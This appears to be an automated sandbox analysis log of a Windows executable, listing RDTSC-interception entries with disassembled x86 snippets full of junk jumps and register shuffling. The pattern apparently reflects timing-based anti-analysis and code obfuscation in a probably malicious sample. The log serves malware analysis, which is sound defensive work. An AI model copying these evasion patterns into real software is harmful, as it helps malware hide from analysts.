Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0440 second address: 78B0463 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE91934h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ah, dh 0x00000010 mov bx, si 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0463 second address: 78B0469 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0469 second address: 78B046D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B046D second address: 78B050C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE9352Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d pushad 0x0000000e mov dx, si 0x00000011 pushfd 0x00000012 jmp 00007FA94CE93538h 0x00000017 adc esi, 6FC32108h 0x0000001d jmp 00007FA94CE9352Bh 0x00000022 popfd 0x00000023 popad 0x00000024 je 00007FA9BCAC271Ch 0x0000002a jmp 00007FA94CE93536h 0x0000002f sub eax, eax 0x00000031 jmp 00007FA94CE93531h 0x00000036 mov dword ptr [esi], edi 0x00000038 pushad 0x00000039 pushfd 0x0000003a jmp 00007FA94CE9352Ch 0x0000003f or ch, FFFFFFC8h 0x00000042 jmp 00007FA94CE9352Bh 0x00000047 popfd 0x00000048 movzx eax, bx 0x0000004b popad 0x0000004c mov dword ptr [esi+04h], eax 0x0000004f pushad 0x00000050 push eax 0x00000051 push edx 0x00000052 push edi 0x00000053 pop esi 0x00000054 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B050C second address: 78B055F instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FA94CE91933h 0x00000008 sub ecx, 467D14BEh 0x0000000e jmp 00007FA94CE91939h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov dx, si 0x00000019 popad 0x0000001a mov dword ptr [esi+08h], eax 0x0000001d jmp 00007FA94CE9192Ah 0x00000022 mov dword ptr [esi+0Ch], eax 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 movsx edi, si 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B055F second address: 78B057E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE93532h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+4Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B057E second address: 78B059B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE91939h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B059B second address: 78B0604 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA94CE93537h 0x00000009 jmp 00007FA94CE93533h 0x0000000e popfd 0x0000000f mov edi, esi 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 mov dword ptr [esi+10h], eax 0x00000017 jmp 00007FA94CE93532h 0x0000001c mov eax, dword ptr [ebx+50h] 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 call 00007FA94CE93538h 0x00000027 pop ecx 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0604 second address: 78B0634 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE91930h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+14h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA94CE91937h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0634 second address: 78B0647 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 36h 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [ebx+54h] 0x0000000d pushad 0x0000000e mov ch, F6h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0647 second address: 78B06AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, di 0x00000007 popad 0x00000008 popad 0x00000009 mov dword ptr [esi+18h], eax 0x0000000c pushad 0x0000000d jmp 00007FA94CE91933h 0x00000012 pushfd 0x00000013 jmp 00007FA94CE91938h 0x00000018 or ax, FFE8h 0x0000001d jmp 00007FA94CE9192Bh 0x00000022 popfd 0x00000023 popad 0x00000024 mov eax, dword ptr [ebx+58h] 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FA94CE91935h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B06AC second address: 78B06B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B06B2 second address: 78B06B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B06B6 second address: 78B06D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+1Ch], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA94CE93532h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B06D5 second address: 78B070D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE9192Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+5Ch] 0x0000000c jmp 00007FA94CE91936h 0x00000011 mov dword ptr [esi+20h], eax 0x00000014 pushad 0x00000015 mov esi, 4DBF43DDh 0x0000001a push eax 0x0000001b push edx 0x0000001c mov esi, 5A24397Fh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B070D second address: 78B0729 instructions: 0x00000000 rdtsc 0x00000002 mov esi, 364CEE9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [ebx+60h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA94CE9352Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0729 second address: 78B07C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE91931h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+24h], eax 0x0000000c pushad 0x0000000d mov edi, ecx 0x0000000f push eax 0x00000010 mov bl, 2Dh 0x00000012 pop eax 0x00000013 popad 0x00000014 mov eax, dword ptr [ebx+64h] 0x00000017 pushad 0x00000018 mov ebx, 6CC83BE0h 0x0000001d mov ax, dx 0x00000020 popad 0x00000021 mov dword ptr [esi+28h], eax 0x00000024 jmp 00007FA94CE9192Bh 0x00000029 mov eax, dword ptr [ebx+68h] 0x0000002c pushad 0x0000002d push esi 0x0000002e mov ch, bl 0x00000030 pop esi 0x00000031 mov bx, 2A40h 0x00000035 popad 0x00000036 mov dword ptr [esi+2Ch], eax 0x00000039 pushad 0x0000003a call 00007FA94CE91935h 0x0000003f mov si, 9807h 0x00000043 pop esi 0x00000044 pushfd 0x00000045 jmp 00007FA94CE9192Dh 0x0000004a adc esi, 055C94F6h 0x00000050 jmp 00007FA94CE91931h 0x00000055 popfd 0x00000056 popad 0x00000057 mov ax, word ptr [ebx+6Ch] 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007FA94CE9192Dh 0x00000062 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B07C9 second address: 78B07D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA94CE9352Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B07D9 second address: 78B07DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B07DD second address: 78B08AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov word ptr [esi+30h], ax 0x0000000c jmp 00007FA94CE93537h 0x00000011 mov ax, word ptr [ebx+00000088h] 0x00000018 jmp 00007FA94CE93536h 0x0000001d mov word ptr [esi+32h], ax 0x00000021 pushad 0x00000022 pushad 0x00000023 jmp 00007FA94CE9352Ch 0x00000028 mov ecx, 0D39B5A1h 0x0000002d popad 0x0000002e pushfd 0x0000002f jmp 00007FA94CE9352Eh 0x00000034 and ax, 1538h 0x00000039 jmp 00007FA94CE9352Bh 0x0000003e popfd 0x0000003f popad 0x00000040 mov eax, dword ptr [ebx+0000008Ch] 0x00000046 jmp 00007FA94CE93536h 0x0000004b mov dword ptr [esi+34h], eax 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 mov ax, dx 0x00000054 pushfd 0x00000055 jmp 00007FA94CE93539h 0x0000005a xor cx, 8D36h 0x0000005f jmp 00007FA94CE93531h 0x00000064 popfd 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B08AD second address: 78B08CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE91931h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+18h] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov ch, 5Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B08CA second address: 78B08F5 instructions: 0x00000000 rdtsc 0x00000002 mov edi, 5CBD7F7Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov bx, 1946h 0x0000000d popad 0x0000000e mov dword ptr [esi+38h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FA94CE93538h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B08F5 second address: 78B0907 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA94CE9192Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0907 second address: 78B0960 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE9352Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [ebx+1Ch] 0x0000000e jmp 00007FA94CE93536h 0x00000013 mov dword ptr [esi+3Ch], eax 0x00000016 jmp 00007FA94CE93530h 0x0000001b mov eax, dword ptr [ebx+20h] 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FA94CE93537h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0960 second address: 78B0966 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0966 second address: 78B096A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B096A second address: 78B09A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE9192Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esi+40h], eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushfd 0x00000012 jmp 00007FA94CE9192Eh 0x00000017 xor ecx, 58830F68h 0x0000001d jmp 00007FA94CE9192Bh 0x00000022 popfd 0x00000023 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B09A2 second address: 78B09D3 instructions: 0x00000000 rdtsc 0x00000002 mov cx, 815Fh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 lea eax, dword ptr [ebx+00000080h] 0x0000000f jmp 00007FA94CE93532h 0x00000014 push 00000001h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FA94CE9352Ah 0x0000001f rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B09D3 second address: 78B09D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B09D7 second address: 78B09DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B09DD second address: 78B09E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B09E3 second address: 78B09E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B09E7 second address: 78B09EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B09EB second address: 78B0A93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007FA94CE93534h 0x0000000e push eax 0x0000000f jmp 00007FA94CE9352Bh 0x00000014 nop 0x00000015 pushad 0x00000016 push esi 0x00000017 pushfd 0x00000018 jmp 00007FA94CE9352Bh 0x0000001d jmp 00007FA94CE93533h 0x00000022 popfd 0x00000023 pop esi 0x00000024 pushfd 0x00000025 jmp 00007FA94CE93539h 0x0000002a sbb cx, 5C56h 0x0000002f jmp 00007FA94CE93531h 0x00000034 popfd 0x00000035 popad 0x00000036 lea eax, dword ptr [ebp-10h] 0x00000039 jmp 00007FA94CE9352Eh 0x0000003e nop 0x0000003f jmp 00007FA94CE93530h 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0A93 second address: 78B0A97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0A97 second address: 78B0A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0A9D second address: 78B0AA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0AA3 second address: 78B0AA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0AA7 second address: 78B0AAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0AAB second address: 78B0ACE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA94CE93538h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0B2C second address: 78B0B5B instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FA94CE91930h 0x00000008 adc ax, BA58h 0x0000000d jmp 00007FA94CE9192Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 test edi, edi 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0B5B second address: 78B0B5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0B5F second address: 78B0B7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE91937h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0B7A second address: 78B0BC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE93539h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FA9BCAC2052h 0x0000000f jmp 00007FA94CE9352Eh 0x00000014 mov eax, dword ptr [ebp-0Ch] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FA94CE93537h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0BC7 second address: 78B0C7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 pushfd 0x00000007 jmp 00007FA94CE9192Bh 0x0000000c xor si, A13Eh 0x00000011 jmp 00007FA94CE91939h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov dword ptr [esi+04h], eax 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FA94CE9192Ch 0x00000024 and esi, 690B4E38h 0x0000002a jmp 00007FA94CE9192Bh 0x0000002f popfd 0x00000030 jmp 00007FA94CE91938h 0x00000035 popad 0x00000036 lea eax, dword ptr [ebx+78h] 0x00000039 jmp 00007FA94CE91930h 0x0000003e push 00000001h 0x00000040 jmp 00007FA94CE91930h 0x00000045 nop 0x00000046 jmp 00007FA94CE91930h 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007FA94CE9192Eh 0x00000053 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0C7E second address: 78B0CF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE9352Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FA94CE93534h 0x00000011 jmp 00007FA94CE93535h 0x00000016 popfd 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FA94CE9352Eh 0x0000001e add cx, 1218h 0x00000023 jmp 00007FA94CE9352Bh 0x00000028 popfd 0x00000029 push eax 0x0000002a pop edi 0x0000002b popad 0x0000002c popad 0x0000002d lea eax, dword ptr [ebp-08h] 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FA94CE93531h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0CF5 second address: 78B0D41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE91931h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b mov eax, 020B9D43h 0x00000010 pushfd 0x00000011 jmp 00007FA94CE91938h 0x00000016 add ch, 00000008h 0x00000019 jmp 00007FA94CE9192Bh 0x0000001e popfd 0x0000001f popad 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0D41 second address: 78B0D45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0D45 second address: 78B0D4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0D4B second address: 78B0D67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA94CE93538h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0D67 second address: 78B0D99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE9192Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov edi, 1EC5A286h 0x00000014 jmp 00007FA94CE91937h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0E2A second address: 78B0E33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 7042h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0E33 second address: 78B0E66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [ebp-04h] 0x0000000a jmp 00007FA94CE9192Fh 0x0000000f mov dword ptr [esi+08h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FA94CE91935h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0E66 second address: 78B0E88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebx+70h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA94CE93535h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0E88 second address: 78B0ED7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FA94CE91937h 0x00000008 pop eax 0x00000009 mov esi, ebx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push 00000001h 0x00000010 jmp 00007FA94CE9192Bh 0x00000015 nop 0x00000016 jmp 00007FA94CE91936h 0x0000001b push eax 0x0000001c pushad 0x0000001d mov di, A6D4h 0x00000021 push eax 0x00000022 push edx 0x00000023 movsx ebx, cx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0ED7 second address: 78B0F15 instructions: 0x00000000 rdtsc 0x00000002 call 00007FA94CE93534h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c jmp 00007FA94CE93531h 0x00000011 lea eax, dword ptr [ebp-18h] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FA94CE9352Dh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0F15 second address: 78B0F5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE91931h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FA94CE9192Eh 0x0000000f push eax 0x00000010 jmp 00007FA94CE9192Bh 0x00000015 nop 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FA94CE91930h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0F5A second address: 78B0F69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE9352Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0F69 second address: 78B0F6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0F6F second address: 78B0F73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0FA1 second address: 78B0FE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 jmp 00007FA94CE91933h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov edi, eax 0x0000000f jmp 00007FA94CE91936h 0x00000014 test edi, edi 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov ebx, 1D0720E0h 0x0000001e mov di, 6B0Ch 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0FE3 second address: 78B0FE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0FE9 second address: 78B0FED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0FED second address: 78B101C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007FA9BCAC1BE0h 0x0000000e jmp 00007FA94CE93538h 0x00000013 mov eax, dword ptr [ebp-14h] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B101C second address: 78B1039 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE91939h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B1039 second address: 78B10BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA94CE93537h 0x00000009 sbb esi, 48A9F27Eh 0x0000000f jmp 00007FA94CE93539h 0x00000014 popfd 0x00000015 mov dx, ax 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov ecx, esi 0x0000001d jmp 00007FA94CE9352Ah 0x00000022 mov dword ptr [esi+0Ch], eax 0x00000025 jmp 00007FA94CE93530h 0x0000002a mov edx, 775606ECh 0x0000002f jmp 00007FA94CE93530h 0x00000034 sub eax, eax 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FA94CE9352Ch 0x0000003d rdtsc
